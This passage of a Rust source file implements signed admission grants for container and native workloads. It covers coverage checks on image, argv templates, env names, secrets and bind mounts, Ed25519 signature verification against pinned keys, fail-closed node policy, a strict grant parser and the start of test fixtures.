535 workdir: workdir.pop(),
536 entrypoint,
537 argv,
538 env_names,
539 secrets,
540 })
541 }
542
543 /// Check that `spec` does not exceed what this grant describes.
544 ///
545 /// The comparison is deliberately asymmetric where asymmetry is safe: a spec
546 /// may request *less* privilege than the grant allows (host networking and
547 /// the nested sandbox are implications, not equalities), but the code it
548 /// runs must match exactly — modulo template holes.
549 ///
550 /// This is signature-independent: it answers "is this spec the thing the
551 /// grant describes", not "did anyone vouch for the grant". [`admit`]
552 /// composes the two in the right order.
553 pub fn covers(&self, spec: &WorkloadSpec) -> Result<(), AdmissionError> {
554 let actual_image = image_ref_string(&spec.image);
555 if actual_image != self.image {
556 return Err(AdmissionError::Mismatch {
557 field: "image",
558 detail: format!("grant admits {}, spec names {actual_image}", self.image),
559 });
560 }
561 if spec.tier.0 != self.tier {
562 return Err(AdmissionError::Mismatch {
563 field: "tier",
564 detail: format!("grant admits {:?}, spec declares {:?}", self.tier, spec.tier.0),
565 });
566 }
567
568 let actual_runtime = GrantRuntime::of_spec(spec);
569 if actual_runtime != self.runtime {
570 return Err(AdmissionError::Mismatch {
571 field: "runtime",
572 detail: format!(
573 "grant admits {}, spec is {}",
574 self.runtime.as_str(),
575 actual_runtime.as_str()
576 ),
577 });
578 }
579
580 // Privilege widenings: implication, not equality. Asking for less than
581 // the grant allows is always fine.
582 if spec.wants_host_network() && !self.host_network {
583 return Err(AdmissionError::Mismatch {
584 field: "host-network",
585 detail: "spec requests the host network namespace; the grant does not admit it"
586 .into(),
587 });
588 }
589 if spec.wants_nested_sandbox() && !self.nested_sandbox {
590 return Err(AdmissionError::Mismatch {
591 field: "nested-sandbox",
592 detail: "spec requests the nested-sandbox capability widening \
593 (CAP_SETUID + CAP_SETGID, no_new_privs off); the grant does not admit it"
594 .into(),
595 });
596 }
597
598 // Workdir is template-matched, not compared: a NATIVE forge's workdir is
599 // the per-run host produced dir (`…/qed/produced/<forge id>`), so an
600 // equality check would force a re-sign per dispatch. Present-vs-absent
601 // is still exact — a grant that names no workdir does not admit one.
602 let actual_workdir = spec
603 .workdir
604 .as_ref()
605 .map(|p| p.to_string_lossy().into_owned());
606 match (&self.workdir, &actual_workdir) {
607 (None, None) => {}
608 (Some(template), Some(actual)) if template_matches(template, actual) => {}
609 _ => {
610 return Err(AdmissionError::Mismatch {
611 field: "workdir",
612 detail: format!(
613 "grant admits {:?}, spec declares {:?}",
614 self.workdir, actual_workdir
615 ),
616 })
617 }
618 }
619
620 templates_cover(
621 "entrypoint",
622 &self.entrypoint,
623 spec.entrypoint.as_deref().unwrap_or(&[]),
624 )?;
625 templates_cover("argv", &self.argv, spec.command.as_deref().unwrap_or(&[]))?;
626
627 // Env NAMES are the gate; values need no constraint because a name that
628 // is not admitted cannot be set at all. `LD_PRELOAD` is the shape of
629 // attack this closes.
630 let admitted: BTreeSet<&str> = self.env_names.iter().map(String::as_str).collect();
631 for env in &spec.env {
632 if !admitted.contains(env.name.as_str()) {
633 return Err(AdmissionError::Mismatch {
634 field: "env",
635 detail: format!(
636 "spec sets {:?}, which the grant does not admit (admitted: {:?})",
637 env.name, self.env_names
638 ),
639 });
640 }
641 // A FromSecret VALUE is a selector, not a value: admitting the name
642 // `R2_TOKEN` would otherwise admit reading the cosign key through
643 // it. Refused rather than allow-listed because nothing implements
644 // env-target secret delivery end to end — see the module docs.
645 if let EnvValue::FromSecret { secret, .. } = &env.value {
646 return Err(AdmissionError::Mismatch {
647 field: "env",
648 detail: format!(
649 "spec resolves {:?} from secret {secret:?}; env-target secret \
650 delivery is not admissible — mount the secret as a file \
651 (SecretTarget::File) and declare it in the grant",
652 env.name
653 ),
654 });
655 }
656 // FromMesh is yubaba's to fill in before deploy and each backend
657 // already rejects it unresolved. Named here so a grant author
658 // reading this list knows admission is not the layer that resolves.
659 }
660
661 // R555-F5: every credential the run may read, exactly. No template
662 // matching — a secret name is authored, not substituted per run.
663 for mount in &spec.secrets {
664 let Some(want) = GrantSecret::of_mount(mount) else {
665 return Err(AdmissionError::Mismatch {
666 field: "secrets",
667 detail: "spec mounts a secret as an environment variable; \
668 env-target secret delivery is not admissible — use \
669 SecretTarget::File"
670 .into(),
671 });
672 };
673 if !self.secrets.contains(&want) {
674 return Err(AdmissionError::Mismatch {
675 field: "secrets",
676 detail: format!(
677 "spec mounts {}, which the grant does not admit (admitted: [{}])",
678 want.describe(),
679 self.describe_secrets()
680 ),
681 });
682 }
683 }
684
685 // Bind mounts are the one field the grant does not enumerate, because
686 // the produced-dir mount is per-run (`/var/lib/yah/qed/produced/<forge
687 // id>`) and would force a re-sign per dispatch. The structural rule
688 // R636-B1 already established covers it instead: a forge bind must live
689 // under the forge state root. Checked here rather than assumed, because
690 // an admitted spec that can bind `/` has not been admitted at all.
691 //
692 // The one exemption is yubaba's own rewrite of an admitted File secret
693 // (R555-F5) — recomputed, not trusted: same container path, the exact
694 // host path derived for THIS spec's ident, and read-only.
695 let ident = spec.expose.mesh.identity.0.as_str();
696 for volume in &spec.volumes {
697 if let VolumeSource::Bind { host_path } = &volume.source {
698 if crate::forge_state::is_forge_state_path(host_path) {
699 continue;
700 }
701 if self.is_materialized_secret_bind(ident, host_path, volume) {
702 continue;
703 }
704 return Err(AdmissionError::Mismatch {
705 field: "volumes",
706 detail: format!(
707 "spec binds host path {} which is outside the forge state root {} \
708 and is not a materialized mount of an admitted secret",
709 host_path.display(),
710 crate::forge_state::HOST_ROOT
711 ),
712 });
713 }
714 }
715
716 Ok(())
717 }
718
719 /// Whether `volume` is the read-only bind yubaba injects when it
720 /// materializes one of this grant's own admitted `File` secrets for the
721 /// workload `ident`.
722 ///
723 /// Every input is recomputed from the spec and the grant; nothing about the
724 /// bind is taken on trust. In particular the `ident` component is why this
725 /// cannot be used to reach a sibling workload's secret dir, and the
726 /// read-only requirement is why it cannot be used to *write* one.
727 ///
728 /// The root is [`crate::secret_mount::HOST_ROOT`] rather than a parameter
729 /// because a verifier holds a spec and nothing else — it has no way to
730 /// learn a root the *writer* chose. Yubaba's root is overridable only by
731 /// `with_secret_paths`, which exists for tests. If that ever becomes a real
732 /// deployment knob, this stops matching and a granted secret is *refused*
733 /// rather than waved through, which is the direction to fail in.
734 fn is_materialized_secret_bind(
735 &self,
736 ident: &str,
737 host_path: &Path,
738 volume: &crate::VolumeMount,
739 ) -> bool {
740 if !volume.read_only {
741 return false;
742 }
743 self.secrets.iter().any(|s| {
744 s.path == volume.target
745 && crate::secret_mount::materialized_host_path(
746 Path::new(crate::secret_mount::HOST_ROOT),
747 ident,
748 &s.path,
749 ) == host_path
750 })
751 }
752
753 /// The admitted credentials, for a refusal message.
754 pub fn describe_secrets(&self) -> String {
755 self.secrets
756 .iter()
757 .map(GrantSecret::describe)
758 .collect::<Vec<_>>()
759 .join(", ")
760 }
761}
762
763/// Attach a grant, its signature and its signing key to a spec's annotations.
764///
765/// The dispatcher's whole job: it does not compute or check anything, it
766/// carries three opaque strings the recipe author produced. Keeping it that way
767/// is what keeps the signing key off every machine that dispatches.
768pub fn attach(spec: &mut WorkloadSpec, grant: &str, signature: &str, public_key: &str) {
769 spec.annotations
770 .insert(GRANT_ANNOTATION.into(), grant.to_string());
771 spec.annotations
772 .insert(GRANT_SIGNATURE_ANNOTATION.into(), signature.to_string());
773 spec.annotations
774 .insert(GRANT_KEY_ANNOTATION.into(), public_key.to_string());
775}
776
777/// Whether a spec carries any admission annotation at all.
778///
779/// "Any", not "all": a spec with a grant and no signature is a tampering
780/// attempt or a broken dispatcher, and both must reach the error path rather
781/// than the treated-as-unsigned path.
782pub fn has_grant_annotations(spec: &WorkloadSpec) -> bool {
783 spec.annotations.contains_key(GRANT_ANNOTATION)
784 || spec.annotations.contains_key(GRANT_SIGNATURE_ANNOTATION)
785 || spec.annotations.contains_key(GRANT_KEY_ANNOTATION)
786}
787
788// ── template matching ────────────────────────────────────────────────────────
789
790fn templates_cover(
791 field: &'static str,
792 templates: &[String],
793 actual: &[String],
794) -> Result<(), AdmissionError> {
795 if templates.len() != actual.len() {
796 return Err(AdmissionError::Mismatch {
797 field,
798 detail: format!(
799 "grant admits {} element(s), spec has {}",
800 templates.len(),
801 actual.len()
802 ),
803 });
804 }
805 for (i, (template, got)) in templates.iter().zip(actual).enumerate() {
806 if !template_matches(template, got) {
807 return Err(AdmissionError::Mismatch {
808 field,
809 detail: format!("element {i}: {got:?} is not an instantiation of {template:?}"),
810 });
811 }
812 }
813 Ok(())
814}
815
816/// Whether `actual` is `template` with each `{{...}}` hole filled by a value
817/// [`hole_is_safe`] accepts.
818///
819/// Literal segments are matched left to right at the earliest position each
820/// occurs, which is well-defined for every template the recipe format can
821/// produce: holes are separated by author-written literals (`' '`, ` `, `/`),
822/// so the leftmost match is the intended one. A template with no holes degrades
823/// to string equality.
824pub fn template_matches(template: &str, actual: &str) -> bool {
825 let segments = literal_segments(template);
826 // No holes: exact match, nothing to constrain.
827 if segments.len() == 1 {
828 return template == actual;
829 }
830
831 let mut rest = actual;
832 let Some(first) = segments.first() else {
833 return false;
834 };
835 let Some(after_first) = rest.strip_prefix(first.as_str()) else {
836 return false;
837 };
838 rest = after_first;
839
840 for (i, segment) in segments.iter().enumerate().skip(1) {
841 let last = i == segments.len() - 1;
842 if last && segment.is_empty() {
843 // Template ends with a hole: everything left is its content.
844 return hole_is_safe(rest);
845 }
846 let Some(at) = rest.find(segment.as_str()) else {
847 return false;
848 };
849 if !hole_is_safe(&rest[..at]) {
850 return false;
851 }
852 rest = &rest[at + segment.len()..];
853 }
854 rest.is_empty()
855}
856
857/// Split a template into its literal segments — the text between `{{` … `}}`
858/// holes, with one segment before the first hole and one after the last. `n`
859/// holes yield `n + 1` segments, so `segments.len() == 1` means "no holes".
860///
861/// An unterminated `{{` is literal text, matching `substitute_argv`'s own rule
862/// (an unterminated placeholder is preserved verbatim, so a template that
863/// contains one is compared verbatim too).
864fn literal_segments(template: &str) -> Vec<String> {
865 let mut segments = Vec::new();
866 let mut current = String::new();
867 let mut rest = template;
868 while let Some(open) = rest.find("{{") {
869 let Some(close_rel) = rest[open + 2..].find("}}") else {
870 break;
871 };
872 current.push_str(&rest[..open]);
873 segments.push(std::mem::take(&mut current));
874 rest = &rest[open + 2 + close_rel + 2..];
875 }
876 current.push_str(rest);
877 segments.push(current);
878 segments
879}
880
881// ── verification ─────────────────────────────────────────────────────────────
882
883/// Verify the admission annotations on `spec` under `policy` and a pinned key
884/// set.
885///
886/// Order is cheapest-and-most-decisive first, mirroring
887/// `yah_plugin::verify_manifest`:
888///
889/// 1. **Is a grant required?** [`Policy::Required`], or the unconditional
890/// nested-sandbox exception (see the module docs).
891/// 2. **Is one present and complete?** A partial annotation set is an error, not
892/// an absence.
893/// 3. **Attribution** — the signing key must be one `trusted_keys` pins. An
894/// untrusted key can produce a valid signature; checking it first would be
895/// answering the wrong question.
896/// 4. **Signature** over the grant bytes, with `verify_strict`.
897/// 5. **Coverage** — [`AdmissionGrant::covers`].
898///
899/// A verifier with `Policy::Required` and an **empty** key set refuses
900/// everything: pinning nothing means trusting nothing, which is the fail-closed
901/// direction. That is deliberate, and it is the reason an operator flipping a
902/// node to `required` without configuring keys gets a loud outage rather than a
903/// quiet no-op gate.
904#[cfg(feature = "admission-verify")]
905pub fn admit(
906 spec: &WorkloadSpec,
907 policy: Policy,
908 trusted_keys: &[String],
909) -> Result<(), AdmissionError> {
910 admit_grant(spec, policy, trusted_keys).map(|_| ())
911}
912
913/// [`admit`], returning the grant it verified.
914///
915/// `Ok(None)` means "admitted, and there was no grant to read" — the permissive
916/// no-annotations path. `Ok(Some(grant))` hands back a document that has passed
917/// attribution, signature and coverage, which is the only form in which a
918/// caller may treat the recipe name inside it as an *identity*.
919///
920/// That distinction is the whole reason this variant exists: R555-F5 keys
921/// cluster-secret access on the signed recipe
922/// ([`SecretAccess::Recipes`](crate::secrets::SecretAccess::Recipes)) rather
923/// than on the workload name, because a forge workload's name is a fresh
924/// `forge-<uuid>` every run and therefore cannot appear in any allow-list
925/// written ahead of time. Reading `recipe` out of an *unverified* grant would
926/// make that allow-list bearer-authorized again — which is the exact hole R706
927/// closed for the workload case.
928#[cfg(feature = "admission-verify")]
929pub fn admit_grant(
930 spec: &WorkloadSpec,
931 policy: Policy,
932 trusted_keys: &[String],
933) -> Result<Option<AdmissionGrant>, AdmissionError> {
934 use ed25519_dalek::{Signature, VerifyingKey};
935
936 if policy == Policy::Disabled {
937 return Ok(None);
938 }
939
940 let present = has_grant_annotations(spec);
941 // The nested-sandbox widening is never granted un-admitted, whatever the
942 // node's policy — W235 §Reshaping's ordering constraint, enforced in code.
943 //
944 // Scoped to CONTAINER specs on purpose. The widening is an OCI capability
945 // set, and a native (fork+exec) workload has no OCI spec to apply it to, so
946 // a spec carrying both markers is asking for a privilege that cannot be
947 // granted — an incoherent spec, not a privileged one. Kamaji already refuses
948 // that pair with a message that says so (R577-T1 owns the refusal), and
949 // "not admitted" would be a strictly less informative answer to the same
950 // question. There is no privilege to protect here, so admission steps aside.
951 //
952 // R605-F8: a microVM workload is the same case for the same reason — it has
953 // no OCI spec either, and `validate_microvm_spec` owns the matching refusal.
954 // Note this arm is *not* a privilege relaxation: the guest has its own
955 // kernel, so a capability set inside it grants nothing on the host.
956 let widening =
957 spec.wants_nested_sandbox() && !spec.wants_native_exec() && !spec.wants_microvm();
958 let required = policy == Policy::Required || widening;
959
960 if !present {
961 return if required {
962 Err(AdmissionError::GrantRequired {
963 reason: if policy == Policy::Required {
964 format!("this node runs {POLICY_ENV}=required")
965 } else {
966 format!(
967 "the workload requests the nested-sandbox widening (annotation {}={})",
968 crate::NESTED_SANDBOX_ANNOTATION,
969 crate::NESTED_SANDBOX_VALUE
970 )
971 },
972 })
973 } else {
974 Ok(None)
975 };
976 }
977
978 let grant_text = spec
979 .annotations
980 .get(GRANT_ANNOTATION)
981 .ok_or(AdmissionError::Incomplete {
982 missing: GRANT_ANNOTATION,
983 })?;
984 let signature_hex =
985 spec.annotations
986 .get(GRANT_SIGNATURE_ANNOTATION)
987 .ok_or(AdmissionError::Incomplete {
988 missing: GRANT_SIGNATURE_ANNOTATION,
989 })?;
990 let key_hex = spec
991 .annotations
992 .get(GRANT_KEY_ANNOTATION)
993 .ok_or(AdmissionError::Incomplete {
994 missing: GRANT_KEY_ANNOTATION,
995 })?;
996
997 // 3. Attribution before crypto.
998 if !trusted_keys.iter().any(|k| k == key_hex) {
999 return Err(AdmissionError::UntrustedKey {
1000 key: key_hex.clone(),
1001 });
1002 }
1003
1004 let key_bytes: [u8; 32] = hex::decode(key_hex)
1005 .ok()
1006 .and_then(|b| b.try_into().ok())
1007 .ok_or_else(|| AdmissionError::MalformedKey {
1008 reason: "expected 32 hex-encoded bytes".into(),
1009 })?;
1010 let verifying_key =
1011 VerifyingKey::from_bytes(&key_bytes).map_err(|e| AdmissionError::MalformedKey {
1012 reason: format!("not a valid Ed25519 point: {e}"),
1013 })?;
1014 let sig_bytes: [u8; 64] = hex::decode(signature_hex)
1015 .ok()
1016 .and_then(|b| b.try_into().ok())
1017 .ok_or_else(|| AdmissionError::MalformedSignature {
1018 reason: "expected 64 hex-encoded bytes".into(),
1019 })?;
1020
1021 verifying_key
1022 .verify_strict(grant_text.as_bytes(), &Signature::from_bytes(&sig_bytes))
1023 .map_err(|_| AdmissionError::SignatureMismatch)?;
1024
1025 // 5. Only now is the grant's content worth reading.
1026 let grant = AdmissionGrant::parse(grant_text)?;
1027 grant.covers(spec)?;
1028 Ok(Some(grant))
1029}
1030
1031/// The signing key that vouched for a spec's grant, as it appears in
1032/// [`GRANT_KEY_ANNOTATION`]. Meaningful only alongside a grant returned by
1033/// [`admit_grant`] — on its own it is an unverified assertion.
1034pub fn grant_key(spec: &WorkloadSpec) -> Option<&String> {
1035 spec.annotations.get(GRANT_KEY_ANNOTATION)
1036}
1037
1038/// The node's admission policy and pinned key set, read once from the
1039/// environment.
1040///
1041/// # Why this lives here rather than in kamaji
1042///
1043/// Two deployment shapes enforce admission — the standalone `kamaji.service`
1044/// (`kamaji-bin`) and the inlined `kamaji` library backends — and R592-T1 is on
1045/// record about what happens when those two grow their own copy of a shared
1046/// rule: they drift, and nobody notices until a node behaves differently from
1047/// the one next to it. This crate is the only thing both of them depend on
1048/// unconditionally, so the policy resolution lives here, resolved once per
1049/// process.
1050///
1051/// - `YAH_ADMISSION` — `disabled` | `permissive` | `required`. Unset means
1052/// [`Policy::Permissive`].
1053/// - `YAH_ADMISSION_KEYS` — comma-separated hex Ed25519 public keys. Unset
1054/// means none, which under `required` refuses everything.
1055///
1056/// **A malformed `YAH_ADMISSION` resolves to [`Policy::Required`]**, not to the
1057/// default. A typo in a security control must fail toward refusal; the
1058/// alternative is an operator who believes admission is on because they set the
1059/// variable, on a node that silently ignored it.
1060#[cfg(feature = "admission-verify")]
1061#[derive(Debug, Clone)]
1062pub struct NodeAdmission {
1063 /// How strictly this node enforces admission.
1064 pub policy: Policy,
1065 /// Hex Ed25519 public keys this node accepts grants from.
1066 pub trusted_keys: Vec<String>,
1067}
1068
1069#[cfg(feature = "admission-verify")]
1070static NODE_ADMISSION: std::sync::OnceLock<NodeAdmission> = std::sync::OnceLock::new();
1071
1072/// Environment variable naming this node's [`Policy`].
1073pub const POLICY_ENV: &str = "YAH_ADMISSION";
1074
1075/// Environment variable carrying this node's comma-separated pinned keys.
1076pub const KEYS_ENV: &str = "YAH_ADMISSION_KEYS";
1077
1078#[cfg(feature = "admission-verify")]
1079impl NodeAdmission {
1080 /// Resolve from the environment. Public for tests and for a node that wants
1081 /// to log its own posture at startup; [`check`] uses the cached form.
1082 pub fn from_env() -> Self {
1083 Self::from_vars(
1084 std::env::var(POLICY_ENV).ok().as_deref(),
1085 std::env::var(KEYS_ENV).ok().as_deref(),
1086 )
1087 }
1088
1089 /// The pure half of [`Self::from_env`], so the fail-closed-on-typo rule is
1090 /// testable without mutating process environment.
1091 pub fn from_vars(policy: Option<&str>, keys: Option<&str>) -> Self {
1092 let policy = match policy {
1093 None => Policy::default(),
1094 Some(raw) => Policy::parse(raw).unwrap_or_else(|e| {
1095 eprintln!(
1096 "{POLICY_ENV}: {e}. Falling back to \"required\" — a misconfigured \
1097 admission control must refuse, not open."
1098 );
1099 Policy::Required
1100 }),
1101 };
1102 let trusted_keys = keys
1103 .unwrap_or_default()
1104 .split(',')
1105 .map(str::trim)
1106 .filter(|k| !k.is_empty())
1107 .map(str::to_string)
1108 .collect();
1109 Self {
1110 policy,
1111 trusted_keys,
1112 }
1113 }
1114}
1115
1116/// Admit `spec` under this node's environment-resolved posture.
1117///
1118/// The one call every backend makes. See [`admit`] for the check order and
1119/// [`NodeAdmission`] for where the posture comes from.
1120#[cfg(feature = "admission-verify")]
1121pub fn check(spec: &WorkloadSpec) -> Result<(), AdmissionError> {
1122 check_grant(spec).map(|_| ())
1123}
1124
1125/// [`check`], returning the verified grant — see [`admit_grant`] for why a
1126/// caller would want it.
1127#[cfg(feature = "admission-verify")]
1128pub fn check_grant(spec: &WorkloadSpec) -> Result<Option<AdmissionGrant>, AdmissionError> {
1129 let node = NODE_ADMISSION.get_or_init(NodeAdmission::from_env);
1130 admit_grant(spec, node.policy, &node.trusted_keys)
1131}
1132
1133/// Sign an encoded grant, returning the hex signature to put in
1134/// [`GRANT_SIGNATURE_ANNOTATION`].
1135///
1136/// Lives beside [`admit`] on purpose: sign and verify must agree on the signed
1137/// bytes exactly, and the cheapest way to guarantee that is to give them no
1138/// opportunity to drift apart (`yah_plugin::sign_manifest` records the same
1139/// reasoning).
1140#[cfg(feature = "admission-verify")]
1141pub fn sign_grant(encoded_grant: &str, key: &ed25519_dalek::SigningKey) -> String {
1142 use ed25519_dalek::Signer;
1143 hex::encode(key.sign(encoded_grant.as_bytes()).to_bytes())
1144}
1145
1146// ── errors ───────────────────────────────────────────────────────────────────
1147
1148/// Why a grant document could not be read.
1149#[derive(Debug, Error, PartialEq, Eq)]
1150pub enum GrantError {
1151 #[error("admission grant does not open with {GRANT_MAGIC:?}")]
1152 BadMagic,
1153 #[error("admission grant: expected record {expected:?}, found {found:?}")]
1154 UnexpectedLabel { expected: &'static str, found: String },
1155 #[error("admission grant: record {label:?} is truncated or mis-lengthed")]
1156 Truncated { label: &'static str },
1157 #[error("admission grant: record {label:?} — {reason}")]
1158 BadValue { label: &'static str, reason: String },
1159 #[error("admission grant: {0} trailing byte(s) after the last record")]
1160 Trailing(usize),
1161}
1162
1163/// Why a workload was not admitted.
1164#[derive(Debug, Error, PartialEq, Eq)]
1165pub enum AdmissionError {
1166 #[error(
1167 "workload carries no admission grant and one is required: {reason}. \
1168 Sign the recipe with `cargo xtask recipe-sign` (W235 §(c) / R555-F4)."
1169 )]
1170 GrantRequired { reason: String },
1171 #[error(
1172 "workload carries a partial admission grant — annotation {missing:?} is absent. \
1173 All three of the grant, its signature and its key must travel together."
1174 )]
1175 Incomplete { missing: &'static str },
1176 #[error(
1177 "admission grant is signed by {key}, which this node does not trust. \
1178 Pinned keys come from the {KEYS_ENV} environment variable."
1179 )]
1180 UntrustedKey { key: String },
1181 #[error("admission grant public key is malformed: {reason}")]
1182 MalformedKey { reason: String },
1183 #[error("admission grant signature is malformed: {reason}")]
1184 MalformedSignature { reason: String },
1185 #[error("admission grant signature does not verify over the grant it accompanies")]
1186 SignatureMismatch,
1187 #[error("admission grant does not cover this workload's {field}: {detail}")]
1188 Mismatch { field: &'static str, detail: String },
1189 #[error(transparent)]
1190 Grant(#[from] GrantError),
1191}
1192
1193// ── encoding helpers ─────────────────────────────────────────────────────────
1194
1195fn bool_str(b: bool) -> &'static str {
1196 if b {
1197 "true"
1198 } else {
1199 "false"
1200 }
1201}
1202
1203fn record(out: &mut String, label: &str, value: &str) {
1204 out.push_str(label);
1205 out.push(' ');
1206 out.push_str(&value.len().to_string());
1207 out.push('\n');
1208 out.push_str(value);
1209 out.push('\n');
1210}
1211
1212fn list(out: &mut String, label: &str, items: &[String]) {
1213 // The count is itself a length-prefixed record, so the parser has exactly
1214 // one record shape to read and a list header cannot be confused with a
1215 // scalar of the same label.
1216 record(out, label, &items.len().to_string());
1217 let item_label = format!("{label}.item");
1218 for item in items {
1219 record(out, &item_label, item);
1220 }
1221}
1222
1223/// Lets `Option<String>` be encoded by the same counted-list record shape as a
1224/// genuine list, so the parser has one code path and the encoding stays
1225/// injective for the absent case.
1226trait AsSliceOfOne {
1227 fn as_slice_of_one(&self) -> &[String];
1228}
1229
1230impl AsSliceOfOne for Option<String> {
1231 fn as_slice_of_one(&self) -> &[String] {
1232 match self {
1233 Some(s) => std::slice::from_ref(s),
1234 None => &[],
1235 }
1236 }
1237}
1238
1239struct Cursor<'a> {
1240 rest: &'a str,
1241}
1242
1243impl<'a> Cursor<'a> {
1244 fn new(text: &'a str) -> Self {
1245 Self { rest: text }
1246 }
1247
1248 fn magic(&mut self) -> Result<(), GrantError> {
1249 let line = format!("{GRANT_MAGIC}\n");
1250 self.rest = self.rest.strip_prefix(&line).ok_or(GrantError::BadMagic)?;
1251 Ok(())
1252 }
1253
1254 /// Read one `<label> <len>\n<value>\n` record, checking the label.
1255 fn record(&mut self, label: &'static str) -> Result<String, GrantError> {
1256 let (header, after) = self
1257 .rest
1258 .split_once('\n')
1259 .ok_or(GrantError::Truncated { label })?;
1260 let (found, len) = header
1261 .split_once(' ')
1262 .ok_or(GrantError::Truncated { label })?;
1263 if found != label {
1264 return Err(GrantError::UnexpectedLabel {
1265 expected: label,
1266 found: found.to_string(),
1267 });
1268 }
1269 let len: usize = len.parse().map_err(|_| GrantError::BadValue {
1270 label,
1271 reason: format!("length {len:?} is not a number"),
1272 })?;
1273 // Byte-indexed slicing: reject a length that lands inside a multi-byte
1274 // character rather than panicking on a non-char-boundary slice.
1275 if after.len() < len + 1 || !after.is_char_boundary(len) {
1276 return Err(GrantError::Truncated { label });
1277 }
1278 let (value, tail) = after.split_at(len);
1279 self.rest = tail.strip_prefix('\n').ok_or(GrantError::Truncated { label })?;
1280 Ok(value.to_string())
1281 }
1282
1283 fn bool_record(&mut self, label: &'static str) -> Result<bool, GrantError> {
1284 match self.record(label)?.as_str() {
1285 "true" => Ok(true),
1286 "false" => Ok(false),
1287 other => Err(GrantError::BadValue {
1288 label,
1289 reason: format!("expected \"true\" or \"false\", got {other:?}"),
1290 }),
1291 }
1292 }
1293
1294 /// Read the counted `secret` block: a count record, then four records per
1295 /// entry. Strict in the same way [`Cursor::record`] is — an unknown source
1296 /// kind, a non-octal mode or a relative mount path is an error, never a
1297 /// guess, because every one of them would otherwise widen what the signer
1298 /// believed they authorized.
1299 fn secrets(&mut self) -> Result<Vec<GrantSecret>, GrantError> {
1300 let count: usize = self.record("secret")?.parse().map_err(|_| GrantError::BadValue {
1301 label: "secret",
1302 reason: "count is not a number".into(),
1303 })?;
1304 if count > self.rest.len() {
1305 return Err(GrantError::BadValue {
1306 label: "secret",
1307 reason: format!("count {count} exceeds the remaining document"),
1308 });
1309 }
1310 let mut out = Vec::with_capacity(count);
1311 for _ in 0..count {
1312 let kind = self.record("secret.source-kind")?;
1313 let value = self.record("secret.source")?;
1314 let source = match kind.as_str() {
1315 "cluster" => SecretRef::Cluster { name: value },
1316 "local-file" => SecretRef::LocalFile {
1317 path: PathBuf::from(value),
1318 },
1319 other => {
1320 return Err(GrantError::BadValue {
1321 label: "secret.source-kind",
1322 reason: format!("expected \"cluster\" or \"local-file\", got {other:?}"),
1323 })
1324 }
1325 };
1326 let path = PathBuf::from(self.record("secret.path")?);
1327 if !path.is_absolute() {
1328 return Err(GrantError::BadValue {
1329 label: "secret.path",
1330 reason: format!("mount path {} is not absolute", path.display()),
1331 });
1332 }
1333 let mode_raw = self.record("secret.mode")?;
1334 let mode = u32::from_str_radix(&mode_raw, 8).map_err(|_| GrantError::BadValue {
1335 label: "secret.mode",
1336 reason: format!("{mode_raw:?} is not an octal file mode"),
1337 })?;
1338 out.push(GrantSecret { source, path, mode });
1339 }
1340 Ok(out)
1341 }
1342
1343 fn list(&mut self, label: &'static str) -> Result<Vec<String>, GrantError> {
1344 let count: usize = self.record(label)?.parse().map_err(|_| GrantError::BadValue {
1345 label,
1346 reason: "count is not a number".into(),
1347 })?;
1348 // A count larger than the remaining bytes can only be a malformed or
1349 // hostile document; refuse before allocating for it.
1350 if count > self.rest.len() {
1351 return Err(GrantError::BadValue {
1352 label,
1353 reason: format!("count {count} exceeds the remaining document"),
1354 });
1355 }
1356 // `record` takes a &'static str; the item label is derived, so this
1357 // leaks a small fixed set of strings (one per grant field) for the
1358 // process lifetime rather than per parse.
1359 let item_label: &'static str = match label {
1360 "workdir" => "workdir.item",
1361 "entrypoint" => "entrypoint.item",
1362 "argv" => "argv.item",
1363 "env-name" => "env-name.item",
1364 other => {
1365 return Err(GrantError::BadValue {
1366 label,
1367 reason: format!("{other:?} is not a list field"),
1368 })
1369 }
1370 };
1371 let mut items = Vec::with_capacity(count);
1372 for _ in 0..count {
1373 items.push(self.record(item_label)?);
1374 }
1375 Ok(items)
1376 }
1377
1378 fn end(&self) -> Result<(), GrantError> {
1379 if self.rest.is_empty() {
1380 Ok(())
1381 } else {
1382 Err(GrantError::Trailing(self.rest.len()))
1383 }
1384 }
1385}
1386
1387#[cfg(test)]
1388mod tests {
1389 use super::*;
1390 use crate::{EnvVar, ImageRef, MeshIdent, TierTag, VolumeMount};
1391 use std::path::PathBuf;
1392
1393 const IMAGE: &str = "ghcr.io/yah-ai/rusty-v8-musl-builder";
1394 const DIGEST: &str = "sha256:8f2a6c1d6937e85ad7a1554829fb7901a7d204ed81e9ce7a1b53ef8c1acc1b75";
1395
1396 fn image() -> ImageRef {
1397 ImageRef {
1398 registry: "ghcr.io".into(),
1399 repository: "yah-ai/rusty-v8-musl-builder".into(),
1400 tag: "v149.4.0".into(),
1401 digest: DIGEST.into(),
1402 }
1403 }
1404
1405 /// The shape `velveteen_exec::remote::build_workload_spec` produces for a
1406 /// remotely-placed recipe step: forge defaults + host networking + the
1407 /// per-run durable produced mount.
1408 pub(super) fn forge_spec(argv: &[&str]) -> WorkloadSpec {
1409 let mut spec = WorkloadSpec::for_forge("abc123", image(), TierTag("infra".into()), vec![]);
1410 spec.command = Some(argv.iter().map(|s| s.to_string()).collect());
1411 spec.volumes.push(crate::forge_produced::durable_mount("abc123"));
1412 spec.annotations.insert(
1413 crate::HOST_NETWORK_ANNOTATION.into(),
1414 crate::HOST_NETWORK_VALUE.into(),
1415 );
1416 spec
1417 }
1418
1419 /// The un-substituted spec a recipe author signs: same shape, argv holes
1420 /// intact.
1421 pub(super) fn template_spec() -> WorkloadSpec {
1422 forge_spec(&["build-v8.sh '{{target}}' '{{YAH_TRANSFORM_OUT}}'"])
1423 }
1424
1425 /// What the reconciler actually dispatches after `substitute_argv`.
1426 pub(super) fn dispatched_spec() -> WorkloadSpec {
1427 forge_spec(&[
1428 "build-v8.sh 'x86_64-unknown-linux-musl' '/yah/produced/deadbeef.out'",
1429 ])
1430 }
1431
1432 pub(super) fn grant() -> AdmissionGrant {
1433 AdmissionGrant::from_spec("rusty-v8-musl", &template_spec())
1434 }
1435
1436 // ── secret fixtures (R555-F5) ────────────────────────────────────────────
1437
1438 const R2_PATH: &str = "/run/yah/r2.json";
1439
1440 fn cluster_mount(name: &str, path: &str, mode: u32) -> SecretMount {
1441 SecretMount {
1442 source: SecretRef::Cluster { name: name.into() },
1443 target: SecretTarget::File {
1444 path: PathBuf::from(path),
1445 mode,
1446 },
1447 }
1448 }
1449
1450 /// A dispatched spec that declares one cluster secret, plus the grant cut
1451 /// from the matching template.
1452 fn spec_and_grant_with_a_secret() -> (WorkloadSpec, AdmissionGrant) {
1453 let mut template = template_spec();
